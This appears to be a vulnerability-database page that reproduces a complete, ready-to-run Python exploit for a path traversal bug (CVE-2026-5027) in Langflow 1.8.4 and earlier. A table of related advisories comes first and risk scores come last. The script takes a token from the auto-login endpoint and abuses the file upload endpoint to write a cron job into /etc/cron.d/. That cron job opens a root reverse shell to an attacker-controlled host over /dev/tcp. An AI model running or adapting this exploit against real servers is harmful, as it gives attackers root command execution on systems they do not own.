Langflow 1.8.4 - Path Traversal to Remote Code Execution
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Exploit for CVE-2026-5027 | 3 Apr 202609:48 | – | githubexploit | |
| Exploit for Path Traversal in Langflow | 21 Aug 202604:17 | – | githubexploit | |
| Exploit for CVE-2026-5027 | 10 Jun 202619:18 | – | githubexploit | |
| CVE-2026-5027 | 27 Mar 202614:54 | – | attackerkb | |
| CVE-2026-5027 | 27 Mar 202617:23 | – | circl | |
| Langflow 安全漏洞 | 27 Mar 202600:00 | – | cnnvd | |
| CVE-2026-5027 | 27 Mar 202614:54 | – | cve | |
| CVE-2026-5027 Langflow - Path Traversal Arbitrary File Write via upload_user_file | 27 Mar 202614:54 | – | cvelist | |
| EUVD-2026-16668 | 27 Mar 202615:30 | – | euvd | |
| CVE-2026-5027 | 28 Aug 202616:03 | – | kitploit |
10
# Exploit Title: Langflow 1.8.4 - Path Traversal to Remote Code Execution
# Google Dork: N/A
# Date: 2026-07-20
# Exploit Author: cardosource
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: <= 1.8.4
# Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4
# CVE: CVE-2026-5027
"""
Langflow <= 1.8.4 - CVE-2026-5027
Path Traversal leading to Remote Code Execution (RCE)
The vulnerability allows an authenticated attacker to abuse a path traversal
in the file upload endpoint to write arbitrary files outside the intended
directory. By writing a cron job under /etc/cron.d/, arbitrary commands can
be executed with root privileges, resulting in Remote Code Execution.
The exploit:
1. Obtains an access token via the auto-login endpoint.
2. Abuses path traversal in the file upload endpoint.
3. Writes a malicious cron job to /etc/cron.d/.
4. Waits for cron to execute the reverse shell payload.
"""
import warnings
import requests
import sys
import time
import re
from typing import Optional, Tuple, Dict, Any
from pathlib import PurePosixPath
def create_config(
target: str = "http://localhost:9013",
lhost: str = "192.168.1.100",
lport: int = 4444
) -> Dict[str, Any]:
return {
"target": target.rstrip('/'),
"lhost": lhost,
"lport": lport,
"traversal_depth": 9,
"endpoint": "/api/v2/files",
"auth_endpoint": "/api/v1/auto_login"
}
def create_session() -> requests.Session:
session = requests.Session()
session.verify = False
return session
def authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]:
try:
response = session.get(
f"{config['target']}{config['auth_endpoint']}",
timeout=10
)
if response.status_code == 200:
return response.json().get("access_token")
except (requests.RequestException, KeyError, ValueError):
pass
return None
def sanitize_hostname(host: str) -> str:
return re.sub(r"[^A-Za-z0-9_-]", "_", host)
def generate_timestamp() -> str:
return time.strftime("%Y%m%d%H%M%S")
def build_cron_path(lhost: str, lport: int) -> str:
timestamp = generate_timestamp()
safe_host = sanitize_hostname(lhost)
return f"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_."
def build_traversal_path(remote_path: str, depth: int = 9) -> str:
path = PurePosixPath(remote_path)
return "../" * depth + str(path).lstrip("/")
def build_cron_content(lhost: str, lport: int) -> str:
return f"""SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
"""
def upload_file(
config: Dict[str, Any],
session: requests.Session,
token: str,
remote_path: str,
content: bytes
) -> Tuple[bool, Optional[Dict[str, Any]]]:
filename = build_traversal_path(remote_path, config['traversal_depth'])
headers = {"Authorization": f"Bearer {token}"}
files = {'file': (filename, content, 'application/octet-stream')}
try:
response = session.post(
f"{config['target']}{config['endpoint']}",
headers=headers,
files=files,
timeout=15
)
if response.status_code in (200, 201):
return True, response.json()
except requests.RequestException:
pass
return False, None
def deploy_reverse_shell(
config: Dict[str, Any],
session: requests.Session,
token: str
) -> Tuple[bool, str]:
cron_path = build_cron_path(config['lhost'], config['lport'])
cron_content = build_cron_content(config['lhost'], config['lport'])
success, response_data = upload_file(
config, session, token, cron_path, cron_content.encode()
)
if success:
return True, cron_path
return False, cron_path
def print_success(lhost: str, lport: int, cron_path: str) -> None:
print(f"[+] Cron job deployed to {cron_path}")
print(f"[+] Reverse shell incoming on {lhost}:{lport}")
def print_failure(message: str = "Exploit failed") -> None:
print(f"[-] {message}")
def print_token(token: str) -> None:
print(f"[+] Token obtained: {token[:40]}...")
def print_config(config: Dict[str, Any]) -> None:
print(f"[*] Target: {config['target']}")
print(f"[*] Listener: {config['lhost']}:{config['lport']}")
def validate_config(config: Dict[str, Any]) -> bool:
if not config['target'].startswith(("http://", "https://")):
print_failure("Target must start with http:// or https://")
return False
if config['lport'] < 1 or config['lport'] > 65535:
print_failure("Port must be between 1 and 65535")
return False
if config['traversal_depth'] < 1:
print_failure("Traversal depth must be at least 1")
return False
return True
def authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]:
session = create_session()
print("[*] Authenticating...")
token = authenticate(config, session)
if not token:
session.close()
return False, None, session
print_token(token)
return True, token, session
def deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool:
print("[*] Deploying reverse shell...")
success, cron_path = deploy_reverse_shell(config, session, token)
if success:
print_success(config['lhost'], config['lport'], cron_path)
return True
print_failure()
return False
def exploit(
target: str = "http://localhost:9013",
lhost: str = "192.168.1.38",
lport: int = 4444
) -> None:
config = create_config(target, lhost, lport)
print_config(config)
if not validate_config(config):
sys.exit(1)
success, token, session = authenticate_pipeline(config)
if not success:
sys.exit(1)
try:
if not deploy_pipeline(config, session, token):
sys.exit(1)
finally:
session.close()
print("[+] Exploit completed successfully")
if __name__ == "__main__":
exploit()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Aug 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.18.8
EPSS0.31661
SSVC